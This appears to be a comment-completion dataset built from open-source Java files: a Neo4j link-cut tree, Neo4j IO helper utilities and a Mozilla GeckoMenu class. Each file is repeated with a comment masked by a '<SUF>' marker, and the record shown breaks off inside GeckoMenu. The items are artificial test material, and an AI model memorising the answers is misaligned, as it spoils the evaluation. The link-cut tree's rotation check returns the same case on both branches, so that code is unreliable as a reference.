.perNode("edge", nodeCount -> HugeObjectArray.memoryEstimation(nodeCount, linkCutNodeMemoryEstimation));
return memoryEstimationBuilder.build();
}
public LinkCutTree(long nodeCount) {
nodes = HugeObjectArray.newArray(LinkCutNode.class, nodeCount);
for (long i = 0; i < nodeCount; i++) {
nodes.set(i, LinkCutNode.createSingle(i));
}
edgeInTree = HugeObjectArray.newArray(LinkCutNode.class, nodeCount);
}
private void fixSituation(LinkCutNode u) {
singleNodeFix(u.parent());
singleNodeFix(u);
}
private void fixAndSingle(LinkCutNode node) {
fixSituation(node);
singleRotation(node);
}
private void zig(LinkCutNode u) {
fixAndSingle(u.parent());
fixAndSingle(u);
}
private void zag(LinkCutNode u) {
fixAndSingle(u);
}
private void singleRotation(LinkCutNode u) {
LinkCutNode a = u.left();
LinkCutNode b = u.right();
LinkCutNode p = u.parent();
LinkCutNode pp = p.parent();
boolean dirLeft = false;
if (p.left() != null) {
if (p.left().equals(u)) dirLeft = true;
}
boolean pch = false;
if (pp != null) {
pch = (p.isChildOf(pp) == true);
}
if (dirLeft) {
addChild(p, b, Direction.LEFT);
addChild(u, p, Direction.RIGHT);
} else {
addChild(p, a, Direction.RIGHT);
addChild(u, p, Direction.LEFT);
}
u.setParent(pp);
if (pch) {
addChild(pp, u, (pp.right() == p) ? Direction.RIGHT : Direction.LEFT);
}
}
private void singleNodeFix(LinkCutNode u) {
if (u.getReversedBit()) {
LinkCutNode left = u.left();
LinkCutNode right = u.right();
if (left != null) {
left.reverseBit();
}
if (right != null) {
right.reverseBit();
}
addChild(u, right, Direction.LEFT);
addChild(u, left, Direction.RIGHT);
u.reverseBit();
}
}
private void expose(LinkCutNode u) {
LinkCutNode last = null;
for (LinkCutNode cy = u; cy != null; cy = cy.parent()) {
splay(cy);
addChild(cy, last, Direction.RIGHT);
last = cy;
}
splay(u);
}
private void splay(LinkCutNode u) {
while (true) {
if (u.parent() == null) break;
if (!u.isChildOf(u.parent())) break;
Rotation info = getRotationInfo(u);
if (info == Rotation.SINGLE) {
fixAndSingle(u);
} else if (info == Rotation.ZIGZIG) {
zig(u);
} else {
zag(u);
}
}
singleNodeFix(u);
}
/*0: splice
*1: single-rotation
*2: zig-zig
*3:ziz-zag
*
*/
private Rotation getRotationInfo(LinkCutNode sn) {
LinkCutNode parent = sn.parent();
if (parent.parent() == null) {
return Rotation.SINGLE;
} else {
if (!parent.isChildOf(parent.parent())) {
return Rotation.SINGLE;
}
LinkCutNode pparent = parent.parent();
if (parent.left() == sn) {
if (pparent.left() == parent) {
return Rotation.ZIGZIG;
}
return Rotation.ZIGZAG;
} else {
if (pparent.right() == parent) {
return Rotation.ZIGZIG;
}
return Rotation.ZIGZIG;
}
}
}
private void addChild(LinkCutNode a, LinkCutNode b, Direction direction) {
a.setChild(b, direction);
if (b != null) {
b.setParent(a);
}
}
public void link(long source, long target) {
LinkCutNode nodeSource = nodes.get(source);
LinkCutNode nodeTarget = nodes.get(target);
LinkCutNode nodeEdge = new LinkCutNode(source, null);
edgeInTree.set(target, nodeEdge);
nodeEdge.setParent(nodeSource);
evert(target);
nodeTarget.setParent(nodeEdge);
}
private void evert(long nodeId) {
LinkCutNode na = nodes.get(nodeId);
expose(na);
na.reverseBit();
}
public boolean contains(long source, long target) {
var edge = edgeInTree.get(target);
return (edge == null) ? false : edge.source() == source;
}
public boolean connected(long source, long target) {
LinkCutNode nodeSource = nodes.get(source);
LinkCutNode nodeTarget = nodes.get(target);
if (nodeTarget == null || nodeSource == null) {
return false;
}
expose(nodeSource);
return nodeSource.equals(nodeTarget.root());
}
private void cut(long source, long target) {
LinkCutNode node;
if (source != target) {
node = edgeInTree.get(target);
} else {
node = nodes.get(source);
}
expose(node);
singleNodeFix(node);
if (node.left() != null) {
LinkCutNode l = node.left();
addChild(node, null, Direction.LEFT);
l.setParent(null);
}
}
public void delete(long source, long target) {
evert(source);
cut(source, target);
cut(target, target);
edgeInTree.set(target, null);
}
}
| neo4j/graph-data-science | algo/src/main/java/org/neo4j/gds/steiner/LinkCutTree.java | 2,137 | //Look here: https://dl.acm.org/doi/pdf/10.1145/3828.3835 | line_comment | nl | /*
* Copyright (c) "Neo4j"
* Neo4j Sweden AB [http://neo4j.com]
*
* This file is part of Neo4j.
*
* Neo4j is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package org.neo4j.gds.steiner;
import org.neo4j.gds.collections.ha.HugeObjectArray;
import org.neo4j.gds.mem.MemoryEstimation;
import org.neo4j.gds.mem.MemoryEstimations;
class LinkCutTree {
//Look here:<SUF>
private final HugeObjectArray<LinkCutNode> nodes;
private final HugeObjectArray<LinkCutNode> edgeInTree;
static MemoryEstimation estimation() {
var linkCutNodeMemoryEstimation = 8 + 8 + 8 + 8 + 8;
var memoryEstimationBuilder = MemoryEstimations.builder(LinkCutTree.class)
.perNode("nodes", nodeCount -> HugeObjectArray.memoryEstimation(nodeCount, linkCutNodeMemoryEstimation))
.perNode("edge", nodeCount -> HugeObjectArray.memoryEstimation(nodeCount, linkCutNodeMemoryEstimation));
return memoryEstimationBuilder.build();
}
public LinkCutTree(long nodeCount) {
nodes = HugeObjectArray.newArray(LinkCutNode.class, nodeCount);
for (long i = 0; i < nodeCount; i++) {
nodes.set(i, LinkCutNode.createSingle(i));
}
edgeInTree = HugeObjectArray.newArray(LinkCutNode.class, nodeCount);
}
private void fixSituation(LinkCutNode u) {
singleNodeFix(u.parent());
singleNodeFix(u);
}
private void fixAndSingle(LinkCutNode node) {
fixSituation(node);
singleRotation(node);
}
private void zig(LinkCutNode u) {
fixAndSingle(u.parent());
fixAndSingle(u);
}
private void zag(LinkCutNode u) {
fixAndSingle(u);
}
private void singleRotation(LinkCutNode u) {
LinkCutNode a = u.left();
LinkCutNode b = u.right();
LinkCutNode p = u.parent();
LinkCutNode pp = p.parent();
boolean dirLeft = false;
if (p.left() != null) {
if (p.left().equals(u)) dirLeft = true;
}
boolean pch = false;
if (pp != null) {
pch = (p.isChildOf(pp) == true);
}
if (dirLeft) {
addChild(p, b, Direction.LEFT);
addChild(u, p, Direction.RIGHT);
} else {
addChild(p, a, Direction.RIGHT);
addChild(u, p, Direction.LEFT);
}
u.setParent(pp);
if (pch) {
addChild(pp, u, (pp.right() == p) ? Direction.RIGHT : Direction.LEFT);
}
}
private void singleNodeFix(LinkCutNode u) {
if (u.getReversedBit()) {
LinkCutNode left = u.left();
LinkCutNode right = u.right();
if (left != null) {
left.reverseBit();
}
if (right != null) {
right.reverseBit();
}
addChild(u, right, Direction.LEFT);
addChild(u, left, Direction.RIGHT);
u.reverseBit();
}
}
private void expose(LinkCutNode u) {
LinkCutNode last = null;
for (LinkCutNode cy = u; cy != null; cy = cy.parent()) {
splay(cy);
addChild(cy, last, Direction.RIGHT);
last = cy;
}
splay(u);
}
private void splay(LinkCutNode u) {
while (true) {
if (u.parent() == null) break;
if (!u.isChildOf(u.parent())) break;
Rotation info = getRotationInfo(u);
if (info == Rotation.SINGLE) {
fixAndSingle(u);
} else if (info == Rotation.ZIGZIG) {
zig(u);
} else {
zag(u);
}
}
singleNodeFix(u);
}
/*0: splice
*1: single-rotation
*2: zig-zig
*3:ziz-zag
*
*/
private Rotation getRotationInfo(LinkCutNode sn) {
LinkCutNode parent = sn.parent();
if (parent.parent() == null) {
return Rotation.SINGLE;
} else {
if (!parent.isChildOf(parent.parent())) {
return Rotation.SINGLE;
}
LinkCutNode pparent = parent.parent();
if (parent.left() == sn) {
if (pparent.left() == parent) {
return Rotation.ZIGZIG;
}
return Rotation.ZIGZAG;
} else {
if (pparent.right() == parent) {
return Rotation.ZIGZIG;
}
return Rotation.ZIGZIG;
}
}
}
private void addChild(LinkCutNode a, LinkCutNode b, Direction direction) {
a.setChild(b, direction);
if (b != null) {
b.setParent(a);
}
}
public void link(long source, long target) {
LinkCutNode nodeSource = nodes.get(source);
LinkCutNode nodeTarget = nodes.get(target);
LinkCutNode nodeEdge = new LinkCutNode(source, null);
edgeInTree.set(target, nodeEdge);
nodeEdge.setParent(nodeSource);
evert(target);
nodeTarget.setParent(nodeEdge);
}
private void evert(long nodeId) {
LinkCutNode na = nodes.get(nodeId);
expose(na);
na.reverseBit();
}
public boolean contains(long source, long target) {
var edge = edgeInTree.get(target);
return (edge == null) ? false : edge.source() == source;
}
public boolean connected(long source, long target) {
LinkCutNode nodeSource = nodes.get(source);
LinkCutNode nodeTarget = nodes.get(target);
if (nodeTarget == null || nodeSource == null) {
return false;
}
expose(nodeSource);
return nodeSource.equals(nodeTarget.root());
}
private void cut(long source, long target) {
LinkCutNode node;
if (source != target) {
node = edgeInTree.get(target);
} else {
node = nodes.get(source);
}
expose(node);
singleNodeFix(node);
if (node.left() != null) {
LinkCutNode l = node.left();
addChild(node, null, Direction.LEFT);
l.setParent(null);
}
}
public void delete(long source, long target) {
evert(source);
cut(source, target);
cut(target, target);
edgeInTree.set(target, null);
}
}
|
126220_1 | /*
* Copyright (c) "Neo4j"
* Neo4j Sweden AB [https://neo4j.com]
*
* This file is part of Neo4j.
*
* Neo4j is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
package org.neo4j.io;
import java.io.Closeable;
import java.io.IOException;
import java.io.UncheckedIOException;
import java.util.Arrays;
import java.util.Collection;
import java.util.function.BiFunction;
import java.util.function.Consumer;
import java.util.function.Function;
import java.util.function.LongConsumer;
import java.util.function.LongSupplier;
import java.util.function.Predicate;
import org.eclipse.collections.api.factory.Lists;
import org.eclipse.collections.api.list.MutableList;
import org.neo4j.function.ThrowingAction;
import org.neo4j.function.ThrowingConsumer;
import org.neo4j.function.ThrowingFunction;
import org.neo4j.function.ThrowingPredicate;
/**
* IO helper methods.
*/
public final class IOUtils {
private IOUtils() {}
/**
* Closes given {@link Collection collection} of {@link AutoCloseable closeables}.
*
* @param closeables the closeables to close
* @param <T> the type of closeable
* @throws IOException if an exception was thrown by one of the close methods.
* @see #closeAll(AutoCloseable[])
*/
public static <T extends AutoCloseable> void closeAll(Collection<T> closeables) throws IOException {
close(IOException::new, closeables);
}
/**
* Close all the provided {@link AutoCloseable closeables}, chaining exceptions, if any, into a single {@link UncheckedIOException}.
*
* @param closeables to call close on.
* @param <T> the type of closeable.
* @throws UncheckedIOException if any exception is thrown from any of the {@code closeables}.
*/
public static <T extends AutoCloseable> void closeAllUnchecked(Collection<T> closeables) {
try {
closeAll(closeables);
} catch (IOException e) {
throw new UncheckedIOException(e);
}
}
/**
* Close all the provided {@link AutoCloseable closeables}, chaining exceptions, if any, into a single {@link UncheckedIOException}.
*
* @param closeables to call close on.
* @param <T> the type of closeable.
* @throws UncheckedIOException if any exception is thrown from any of the {@code closeables}.
*/
@SafeVarargs
public static <T extends AutoCloseable> void closeAllUnchecked(T... closeables) {
closeAllUnchecked(Arrays.asList(closeables));
}
/**
* Closes given {@link Collection collection} of {@link AutoCloseable closeables} ignoring all exceptions.
*
* @param closeables the closeables to close
* @param <T> the type of closeable
* @see #closeAll(AutoCloseable[])
*/
public static <T extends AutoCloseable> void closeAllSilently(Collection<T> closeables) {
close((msg, cause) -> null, closeables);
}
/**
* Closes given array of {@link AutoCloseable closeables}. If any {@link AutoCloseable#close()} call throws
* {@link IOException} than it will be rethrown to the caller after calling {@link AutoCloseable#close()}
* on other given resources. If more than one {@link AutoCloseable#close()} throw than resulting exception will
* have suppressed exceptions. See {@link Exception#addSuppressed(Throwable)}
*
* @param closeables the closeables to close
* @param <T> the type of closeable
* @throws IOException if an exception was thrown by one of the close methods.
*/
@SafeVarargs
public static <T extends AutoCloseable> void closeAll(T... closeables) throws IOException {
close(IOException::new, closeables);
}
/**
* Closes given array of {@link AutoCloseable closeables} ignoring all exceptions.
*
* @param closeables the closeables to close
* @param <T> the type of closeable
*/
@SafeVarargs
public static <T extends AutoCloseable> void closeAllSilently(T... closeables) {
close((msg, cause) -> null, closeables);
}
/**
* Closes the given {@code closeable} if it's not {@code null}, otherwise if {@code null} does nothing.
* Any caught {@link IOException} will be rethrown as {@link UncheckedIOException}.
*
* @param closeable instance to close, if it's not {@code null}.
*/
public static void closeUnchecked(Closeable closeable) {
if (closeable != null) {
try {
closeable.close();
} catch (IOException e) {
throw new UncheckedIOException(e);
}
}
}
/**
* Close all of the given closeables, and if something goes wrong, use the given constructor to create a {@link Throwable} instance with the specific cause
* attached. The remaining closeables will still be closed, in that case, and if they in turn throw any exceptions then these will be attached as
* suppressed exceptions.
*
* @param constructor The function used to construct the parent throwable that will have the first thrown exception attached as a cause, and any
* remaining exceptions attached as suppressed exceptions. If this function returns {@code null}, then the exception is ignored.
* @param closeables an iterator of all the things to close, in order.
* @param <T> the type of things to close.
* @param <E> the type of the parent exception.
* @throws E when any {@link AutoCloseable#close()} throws exception
*/
public static <T extends AutoCloseable, E extends Throwable> void close(
BiFunction<String, Throwable, E> constructor, Collection<T> closeables) throws E {
E closeThrowable = null;
for (T closeable : closeables) {
try {
if (closeable != null) {
closeable.close();
}
} catch (Throwable e) {
if (closeThrowable == null) {
closeThrowable = constructor.apply("Exception closing multiple resources.", e);
} else {
closeThrowable.addSuppressed(e);
}
}
}
if (closeThrowable != null) {
throw closeThrowable;
}
}
/**
* Close all of the given closeables, and if something goes wrong, use the given constructor to create a {@link Throwable} instance with the specific cause
* attached. The remaining closeables will still be closed, in that case, and if they in turn throw any exceptions then these will be attached as
* suppressed exceptions.
*
* @param constructor The function used to construct the parent throwable that will have the first thrown exception attached as a cause, and any
* remaining exceptions attached as suppressed exceptions. If this function returns {@code null}, then the exception is ignored.
* @param closeables all the things to close, in order.
* @param <T> the type of things to close.
* @param <E> the type of the parent exception.
* @throws E when any {@link AutoCloseable#close()} throws exception
*/
@SafeVarargs
public static <T extends AutoCloseable, E extends Throwable> void close(
BiFunction<String, Throwable, E> constructor, T... closeables) throws E {
close(constructor, Arrays.asList(closeables));
}
/**
* Closes the first given number of {@link AutoCloseable closeables} in the given array
*
* If any {@link AutoCloseable#close()} call throws
* {@link IOException} than it will be rethrown to the caller after calling {@link AutoCloseable#close()}
* on other given resources. If more than one {@link AutoCloseable#close()} throw than resulting exception will
* have suppressed exceptions. See {@link Exception#addSuppressed(Throwable)}
*
* @param closeables the closeables to close.
* @param count the maximum number of closeables to close within the array, ranging from 0 until count.
* @param <T> the type of closeable
* @throws IOException if an exception was thrown by one of the close methods.
*/
public static <T extends AutoCloseable> void closeFirst(T[] closeables, int count) throws IOException {
IOException closeThrowable = null;
for (int i = 0; i < count; i++) {
try {
T closeable = closeables[i];
if (closeable != null) {
closeable.close();
}
} catch (Exception e) {
if (closeThrowable == null) {
closeThrowable = new IOException("Exception closing multiple resources.", e);
} else {
closeThrowable.addSuppressed(e);
}
}
}
if (closeThrowable != null) {
throw closeThrowable;
}
}
public static class AutoCloseables<E extends Exception> implements AutoCloseable {
private final BiFunction<String, Throwable, E> constructor;
private final MutableList<AutoCloseable> autoCloseables;
@SafeVarargs
public <T extends AutoCloseable> AutoCloseables(
BiFunction<String, Throwable, E> constructor, T... autoCloseables) {
// saves extra copy than using this(constructor, Arrays::asList);
this.autoCloseables = Lists.mutable.with(autoCloseables);
this.constructor = constructor;
}
public AutoCloseables(
BiFunction<String, Throwable, E> constructor, Iterable<? extends AutoCloseable> autoCloseables) {
this.autoCloseables = Lists.mutable.withAll(autoCloseables);
this.constructor = constructor;
}
public <T extends AutoCloseable> T add(T autoCloseable) {
autoCloseables.add(autoCloseable);
return autoCloseable;
}
@SafeVarargs
public final <T extends AutoCloseable> void addAll(T... autoCloseables) {
addAll(Arrays.asList(autoCloseables));
}
public void addAll(Iterable<? extends AutoCloseable> autoCloseables) {
this.autoCloseables.addAllIterable(autoCloseables);
}
@Override
public void close() throws E {
IOUtils.close(constructor, autoCloseables);
}
}
public static Runnable uncheckedRunnable(ThrowingAction<IOException> runnable) {
return () -> {
try {
runnable.apply();
} catch (IOException e) {
throw new UncheckedIOException(e);
}
};
}
public static <T> Predicate<T> uncheckedPredicate(ThrowingPredicate<T, IOException> predicate) {
return (T t) -> {
try {
return predicate.test(t);
} catch (IOException e) {
throw new UncheckedIOException(e);
}
};
}
public static <T> Consumer<T> uncheckedConsumer(ThrowingConsumer<T, IOException> consumer) {
return (T t) -> {
try {
consumer.accept(t);
} catch (IOException e) {
throw new UncheckedIOException(e);
}
};
}
public interface ThrowingLongConsumer<E extends Throwable> {
void accept(long l) throws E;
}
public static LongConsumer uncheckedLongConsumer(ThrowingLongConsumer<IOException> consumer) {
return (long l) -> {
try {
consumer.accept(l);
} catch (IOException e) {
throw new UncheckedIOException(e);
}
};
}
public interface ThrowingLongSupplier<E extends Exception> {
long get() throws E;
}
public static LongSupplier uncheckedLongSupplier(ThrowingLongSupplier<IOException> consumer) {
return () -> {
try {
return consumer.get();
} catch (IOException e) {
throw new UncheckedIOException(e);
}
};
}
public static <T, R> Function<T, R> uncheckedFunction(ThrowingFunction<T, R, IOException> consumer) {
return (T t) -> {
try {
return consumer.apply(t);
} catch (IOException e) {
throw new UncheckedIOException(e);
}
};
}
}
| neo4j/neo4j | community/io/src/main/java/org/neo4j/io/IOUtils.java | 3,354 | /**
* IO helper methods.
*/ | block_comment | nl | /*
* Copyright (c) "Neo4j"
* Neo4j Sweden AB [https://neo4j.com]
*
* This file is part of Neo4j.
*
* Neo4j is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
package org.neo4j.io;
import java.io.Closeable;
import java.io.IOException;
import java.io.UncheckedIOException;
import java.util.Arrays;
import java.util.Collection;
import java.util.function.BiFunction;
import java.util.function.Consumer;
import java.util.function.Function;
import java.util.function.LongConsumer;
import java.util.function.LongSupplier;
import java.util.function.Predicate;
import org.eclipse.collections.api.factory.Lists;
import org.eclipse.collections.api.list.MutableList;
import org.neo4j.function.ThrowingAction;
import org.neo4j.function.ThrowingConsumer;
import org.neo4j.function.ThrowingFunction;
import org.neo4j.function.ThrowingPredicate;
/**
* IO helper methods.<SUF>*/
public final class IOUtils {
private IOUtils() {}
/**
* Closes given {@link Collection collection} of {@link AutoCloseable closeables}.
*
* @param closeables the closeables to close
* @param <T> the type of closeable
* @throws IOException if an exception was thrown by one of the close methods.
* @see #closeAll(AutoCloseable[])
*/
public static <T extends AutoCloseable> void closeAll(Collection<T> closeables) throws IOException {
close(IOException::new, closeables);
}
/**
* Close all the provided {@link AutoCloseable closeables}, chaining exceptions, if any, into a single {@link UncheckedIOException}.
*
* @param closeables to call close on.
* @param <T> the type of closeable.
* @throws UncheckedIOException if any exception is thrown from any of the {@code closeables}.
*/
public static <T extends AutoCloseable> void closeAllUnchecked(Collection<T> closeables) {
try {
closeAll(closeables);
} catch (IOException e) {
throw new UncheckedIOException(e);
}
}
/**
* Close all the provided {@link AutoCloseable closeables}, chaining exceptions, if any, into a single {@link UncheckedIOException}.
*
* @param closeables to call close on.
* @param <T> the type of closeable.
* @throws UncheckedIOException if any exception is thrown from any of the {@code closeables}.
*/
@SafeVarargs
public static <T extends AutoCloseable> void closeAllUnchecked(T... closeables) {
closeAllUnchecked(Arrays.asList(closeables));
}
/**
* Closes given {@link Collection collection} of {@link AutoCloseable closeables} ignoring all exceptions.
*
* @param closeables the closeables to close
* @param <T> the type of closeable
* @see #closeAll(AutoCloseable[])
*/
public static <T extends AutoCloseable> void closeAllSilently(Collection<T> closeables) {
close((msg, cause) -> null, closeables);
}
/**
* Closes given array of {@link AutoCloseable closeables}. If any {@link AutoCloseable#close()} call throws
* {@link IOException} than it will be rethrown to the caller after calling {@link AutoCloseable#close()}
* on other given resources. If more than one {@link AutoCloseable#close()} throw than resulting exception will
* have suppressed exceptions. See {@link Exception#addSuppressed(Throwable)}
*
* @param closeables the closeables to close
* @param <T> the type of closeable
* @throws IOException if an exception was thrown by one of the close methods.
*/
@SafeVarargs
public static <T extends AutoCloseable> void closeAll(T... closeables) throws IOException {
close(IOException::new, closeables);
}
/**
* Closes given array of {@link AutoCloseable closeables} ignoring all exceptions.
*
* @param closeables the closeables to close
* @param <T> the type of closeable
*/
@SafeVarargs
public static <T extends AutoCloseable> void closeAllSilently(T... closeables) {
close((msg, cause) -> null, closeables);
}
/**
* Closes the given {@code closeable} if it's not {@code null}, otherwise if {@code null} does nothing.
* Any caught {@link IOException} will be rethrown as {@link UncheckedIOException}.
*
* @param closeable instance to close, if it's not {@code null}.
*/
public static void closeUnchecked(Closeable closeable) {
if (closeable != null) {
try {
closeable.close();
} catch (IOException e) {
throw new UncheckedIOException(e);
}
}
}
/**
* Close all of the given closeables, and if something goes wrong, use the given constructor to create a {@link Throwable} instance with the specific cause
* attached. The remaining closeables will still be closed, in that case, and if they in turn throw any exceptions then these will be attached as
* suppressed exceptions.
*
* @param constructor The function used to construct the parent throwable that will have the first thrown exception attached as a cause, and any
* remaining exceptions attached as suppressed exceptions. If this function returns {@code null}, then the exception is ignored.
* @param closeables an iterator of all the things to close, in order.
* @param <T> the type of things to close.
* @param <E> the type of the parent exception.
* @throws E when any {@link AutoCloseable#close()} throws exception
*/
public static <T extends AutoCloseable, E extends Throwable> void close(
BiFunction<String, Throwable, E> constructor, Collection<T> closeables) throws E {
E closeThrowable = null;
for (T closeable : closeables) {
try {
if (closeable != null) {
closeable.close();
}
} catch (Throwable e) {
if (closeThrowable == null) {
closeThrowable = constructor.apply("Exception closing multiple resources.", e);
} else {
closeThrowable.addSuppressed(e);
}
}
}
if (closeThrowable != null) {
throw closeThrowable;
}
}
/**
* Close all of the given closeables, and if something goes wrong, use the given constructor to create a {@link Throwable} instance with the specific cause
* attached. The remaining closeables will still be closed, in that case, and if they in turn throw any exceptions then these will be attached as
* suppressed exceptions.
*
* @param constructor The function used to construct the parent throwable that will have the first thrown exception attached as a cause, and any
* remaining exceptions attached as suppressed exceptions. If this function returns {@code null}, then the exception is ignored.
* @param closeables all the things to close, in order.
* @param <T> the type of things to close.
* @param <E> the type of the parent exception.
* @throws E when any {@link AutoCloseable#close()} throws exception
*/
@SafeVarargs
public static <T extends AutoCloseable, E extends Throwable> void close(
BiFunction<String, Throwable, E> constructor, T... closeables) throws E {
close(constructor, Arrays.asList(closeables));
}
/**
* Closes the first given number of {@link AutoCloseable closeables} in the given array
*
* If any {@link AutoCloseable#close()} call throws
* {@link IOException} than it will be rethrown to the caller after calling {@link AutoCloseable#close()}
* on other given resources. If more than one {@link AutoCloseable#close()} throw than resulting exception will
* have suppressed exceptions. See {@link Exception#addSuppressed(Throwable)}
*
* @param closeables the closeables to close.
* @param count the maximum number of closeables to close within the array, ranging from 0 until count.
* @param <T> the type of closeable
* @throws IOException if an exception was thrown by one of the close methods.
*/
public static <T extends AutoCloseable> void closeFirst(T[] closeables, int count) throws IOException {
IOException closeThrowable = null;
for (int i = 0; i < count; i++) {
try {
T closeable = closeables[i];
if (closeable != null) {
closeable.close();
}
} catch (Exception e) {
if (closeThrowable == null) {
closeThrowable = new IOException("Exception closing multiple resources.", e);
} else {
closeThrowable.addSuppressed(e);
}
}
}
if (closeThrowable != null) {
throw closeThrowable;
}
}
public static class AutoCloseables<E extends Exception> implements AutoCloseable {
private final BiFunction<String, Throwable, E> constructor;
private final MutableList<AutoCloseable> autoCloseables;
@SafeVarargs
public <T extends AutoCloseable> AutoCloseables(
BiFunction<String, Throwable, E> constructor, T... autoCloseables) {
// saves extra copy than using this(constructor, Arrays::asList);
this.autoCloseables = Lists.mutable.with(autoCloseables);
this.constructor = constructor;
}
public AutoCloseables(
BiFunction<String, Throwable, E> constructor, Iterable<? extends AutoCloseable> autoCloseables) {
this.autoCloseables = Lists.mutable.withAll(autoCloseables);
this.constructor = constructor;
}
public <T extends AutoCloseable> T add(T autoCloseable) {
autoCloseables.add(autoCloseable);
return autoCloseable;
}
@SafeVarargs
public final <T extends AutoCloseable> void addAll(T... autoCloseables) {
addAll(Arrays.asList(autoCloseables));
}
public void addAll(Iterable<? extends AutoCloseable> autoCloseables) {
this.autoCloseables.addAllIterable(autoCloseables);
}
@Override
public void close() throws E {
IOUtils.close(constructor, autoCloseables);
}
}
public static Runnable uncheckedRunnable(ThrowingAction<IOException> runnable) {
return () -> {
try {
runnable.apply();
} catch (IOException e) {
throw new UncheckedIOException(e);
}
};
}
public static <T> Predicate<T> uncheckedPredicate(ThrowingPredicate<T, IOException> predicate) {
return (T t) -> {
try {
return predicate.test(t);
} catch (IOException e) {
throw new UncheckedIOException(e);
}
};
}
public static <T> Consumer<T> uncheckedConsumer(ThrowingConsumer<T, IOException> consumer) {
return (T t) -> {
try {
consumer.accept(t);
} catch (IOException e) {
throw new UncheckedIOException(e);
}
};
}
public interface ThrowingLongConsumer<E extends Throwable> {
void accept(long l) throws E;
}
public static LongConsumer uncheckedLongConsumer(ThrowingLongConsumer<IOException> consumer) {
return (long l) -> {
try {
consumer.accept(l);
} catch (IOException e) {
throw new UncheckedIOException(e);
}
};
}
public interface ThrowingLongSupplier<E extends Exception> {
long get() throws E;
}
public static LongSupplier uncheckedLongSupplier(ThrowingLongSupplier<IOException> consumer) {
return () -> {
try {
return consumer.get();
} catch (IOException e) {
throw new UncheckedIOException(e);
}
};
}
public static <T, R> Function<T, R> uncheckedFunction(ThrowingFunction<T, R, IOException> consumer) {
return (T t) -> {
try {
return consumer.apply(t);
} catch (IOException e) {
throw new UncheckedIOException(e);
}
};
}
}
|
7722_4 | /* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this file,
* You can obtain one at http://mozilla.org/MPL/2.0/. */
package org.mozilla.gecko;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.util.AttributeSet;
import android.view.KeyEvent;
import android.view.Menu;
import android.view.MenuItem;
import android.view.SubMenu;
import android.view.View;
import android.widget.LinearLayout;
import android.widget.LinearLayout.LayoutParams;
import java.util.ArrayList;
import java.util.List;
public class GeckoMenu extends LinearLayout
implements Menu, GeckoMenuItem.OnShowAsActionChangedListener {
private static final String LOGTAG = "GeckoMenu";
private Context mContext;
public static interface ActionItemBarPresenter {
public void addActionItem(View actionItem);
public void removeActionItem(int index);
public int getActionItemsCount();
}
private static final int NO_ID = 0;
// Default list of items.
private List<GeckoMenuItem> mItems;
// List of items in action-bar.
private List<GeckoMenuItem> mActionItems;
// Reference to action-items bar in action-bar.
private ActionItemBarPresenter mActionItemBarPresenter;
public GeckoMenu(Context context, AttributeSet attrs) {
super(context, attrs);
mContext = context;
setLayoutParams(new LayoutParams(LayoutParams.FILL_PARENT,
LayoutParams.WRAP_CONTENT));
setOrientation(VERTICAL);
mItems = new ArrayList<GeckoMenuItem>();
mActionItems = new ArrayList<GeckoMenuItem>();
}
@Override
public MenuItem add(CharSequence title) {
GeckoMenuItem menuItem = new GeckoMenuItem(mContext, NO_ID);
menuItem.setTitle(title);
addItem(menuItem);
return menuItem;
}
@Override
public MenuItem add(int groupId, int itemId, int order, int titleRes) {
GeckoMenuItem menuItem = new GeckoMenuItem(mContext, itemId, order);
menuItem.setTitle(titleRes);
addItem(menuItem);
return menuItem;
}
@Override
public MenuItem add(int titleRes) {
GeckoMenuItem menuItem = new GeckoMenuItem(mContext, NO_ID);
menuItem.setTitle(titleRes);
addItem(menuItem);
return menuItem;
}
@Override
public MenuItem add(int groupId, int itemId, int order, CharSequence title) {
GeckoMenuItem menuItem = new GeckoMenuItem(mContext, itemId, order);
menuItem.setTitle(title);
addItem(menuItem);
return menuItem;
}
private void addItem(GeckoMenuItem menuItem) {
menuItem.setOnShowAsActionChangedListener(this);
// Insert it in proper order.
int index = 0;
for (GeckoMenuItem item : mItems) {
if (item.getOrder() > menuItem.getOrder()) {
mItems.add(index, menuItem);
// Account for the items in the action-bar.
if (mActionItemBarPresenter != null)
addView(menuItem.getLayout(), index - mActionItemBarPresenter.getActionItemsCount());
else
addView(menuItem.getLayout(), index);
return;
} else {
index++;
}
}
// Add the menuItem at the end.
mItems.add(menuItem);
addView(menuItem.getLayout());
}
private void addActionItem(GeckoMenuItem menuItem) {
menuItem.setOnShowAsActionChangedListener(this);
int index = 0;
for (GeckoMenuItem item : mItems) {
if (item.getOrder() <= menuItem.getOrder())
index++;
else
break;
}
mActionItems.add(menuItem);
mItems.add(index, menuItem);
mActionItemBarPresenter.addActionItem(menuItem.getLayout());
}
@Override
public int addIntentOptions(int groupId, int itemId, int order, ComponentName caller, Intent[] specifics, Intent intent, int flags, MenuItem[] outSpecificItems) {
return 0;
}
@Override
public SubMenu addSubMenu(int groupId, int itemId, int order, CharSequence title) {
return null;
}
@Override
public SubMenu addSubMenu(int groupId, int itemId, int order, int titleRes) {
return null;
}
@Override
public SubMenu addSubMenu(CharSequence title) {
return null;
}
@Override
public SubMenu addSubMenu(int titleRes) {
return null;
}
@Override
